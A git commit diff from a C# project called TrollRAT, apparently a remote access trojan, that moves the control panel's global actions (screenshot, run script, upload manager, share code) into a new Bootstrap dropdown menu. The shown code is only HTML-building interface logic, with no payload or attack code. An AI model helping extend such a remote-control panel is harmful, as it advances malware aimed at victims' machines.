New Dropdown List for Global Actions

This commit is contained in:
Leurak 2016-08-03 11:41:55 +02:00
parent fb12b37d56
commit a42373b30a
4 changed files with 86 additions and 12 deletions

View file

@ -1,5 +1,7 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using TrollRAT.Server;
using TrollRAT.Utils;
@ -7,7 +9,7 @@ namespace TrollRAT.Actions
{
public interface GlobalAction
{
string getHTML();
string getHTML(GlobalAction parent);
}
public abstract class GlobalActionServer : IDBase<GlobalActionServer>, GlobalAction
@ -21,14 +23,23 @@ namespace TrollRAT.Actions
protected WebServer server;
public WebServer Server => server;
public static readonly List<GlobalActionServer> ServerActions = new List<GlobalActionServer>();
public GlobalActionServer(WebServer server)
{
ServerActions.Add(this);
this.server = server;
}
public virtual string getHTML()
public virtual string getHTML(GlobalAction parent)
{
return string.Format("<button class=\"btn btn-{2} navbar-btn\" onclick=\"globalAction({0});\">{1}</button>",
if (parent is GlobalActionDropdown)
{
return string.Format("<li><a href=\"#\" onclick=\"globalAction({0});\">{1}</a></li>",
id, Title, Color);
}
return string.Format("<button class=\"btn btn-{2} navbar-btn\" type=\"button\" onclick=\"globalAction({0});\">{1}</button>",
id, Title, Color);
}
@ -50,10 +61,66 @@ namespace TrollRAT.Actions
this.server = server;
}
public virtual string getHTML()
public virtual string getHTML(GlobalAction parent)
{
return string.Format("<button class=\"btn btn-{2} navbar-btn\" onclick=\"{0}\">{1}</button>",
if (parent is GlobalActionDropdown)
{
return string.Format("<li><a href=\"#\" onclick=\"{0}\">{1}</a></li>",
OnClick, Title, Color);
}
return string.Format("<button class=\"btn btn-{2} navbar-btn\" type=\"button\" onclick=\"{0}\">{1}</button>",
OnClick, Title, Color);
}
}
public abstract class GlobalActionList : IDBase<GlobalActionList>, GlobalAction
{
protected List<GlobalAction> actions = new List<GlobalAction>();
public List<GlobalAction> Actions => actions;
public abstract string getHTML(GlobalAction parent);
}
public class GlobalActionDropdown : GlobalActionList
{
protected string color, title;
public string Color => color;
public string Title => title;
public GlobalActionDropdown(string title, string color)
{
this.title = title;
this.color = color;
}
public GlobalActionDropdown(string title) : this(title, "default") { }
public override string getHTML(GlobalAction parent)
{
if (parent == null)
{
StringBuilder htmlBuilder = new StringBuilder();
htmlBuilder.AppendLine("<span class=\"dropdown\">");
htmlBuilder.AppendLine(String.Format("<button class=\"btn btn-{0} navbar-btn dropdown-toggle\" " +
"data-toggle=\"dropdown\" aria-haspopup=\"true\" aria-expanded=\"false\"type=\"button\" " +
"id=\"globalDropdown{2}\">{1} <span class=\"caret\"></span></button>", color, title, id));
htmlBuilder.AppendLine(String.Format("<ul class=\"dropdown-menu\" aria-labelledby=\"globalDropdown{0}\">", id));
foreach (GlobalAction action in actions)
{
htmlBuilder.Append(action.getHTML(this));
}
htmlBuilder.AppendLine("</ul>");
htmlBuilder.AppendLine("</span>");
return htmlBuilder.ToString();
}
throw new ArgumentException("Parents for Dropdowns must be null!");
}
}
}

View file

@ -96,9 +96,9 @@ namespace TrollRAT.Server.Commands
{
int id = Int32.Parse(HttpUtility.ParseQueryString(context.Request.Url.Query).Get("id"));
foreach (GlobalActionServer action in server.Actions.Where(a => a is GlobalActionServer))
foreach (GlobalActionServer action in GlobalActionServer.ServerActions)
{
if (action.ID == id)
if (action.ID == id && action.Server == server)
{
action.execute();
}

View file

@ -87,7 +87,7 @@ namespace TrollRAT.Server.Commands
StringBuilder content = new StringBuilder();
foreach (GlobalAction action in server.Actions)
{
content.Append(action.getHTML() + "\n");
content.Append(action.getHTML(null) + "\n");
}
string response = content.ToString();

View file

@ -104,6 +104,9 @@ namespace TrollRAT.Server
protected List<GlobalAction> actions = new List<GlobalAction>();
public List<GlobalAction> Actions => actions;
protected GlobalActionDropdown mainDropdown;
public GlobalActionDropdown MainDropdown => mainDropdown;
internal Dictionary<string, List<string>> injections = new Dictionary<string, List<string>>();
public WebServer(int port) : base(port)
@ -139,10 +142,14 @@ namespace TrollRAT.Server
commands.Add(new UseCodeCommand());
actions.Add(new GlobalActionPausePayloads(this));
actions.Add(new GlobalActionShareCodeManager(this));
actions.Add(new GlobalActionScreenshot(this));
actions.Add(new GlobalActionRunScript(this));
actions.Add(new GlobalActionUploadManager(this));
mainDropdown = new GlobalActionDropdown("Actions");
actions.Add(mainDropdown);
mainDropdown.Actions.Add(new GlobalActionShareCodeManager(this));
mainDropdown.Actions.Add(new GlobalActionScreenshot(this));
mainDropdown.Actions.Add(new GlobalActionRunScript(this));
mainDropdown.Actions.Add(new GlobalActionUploadManager(this));
}
private void initInjections()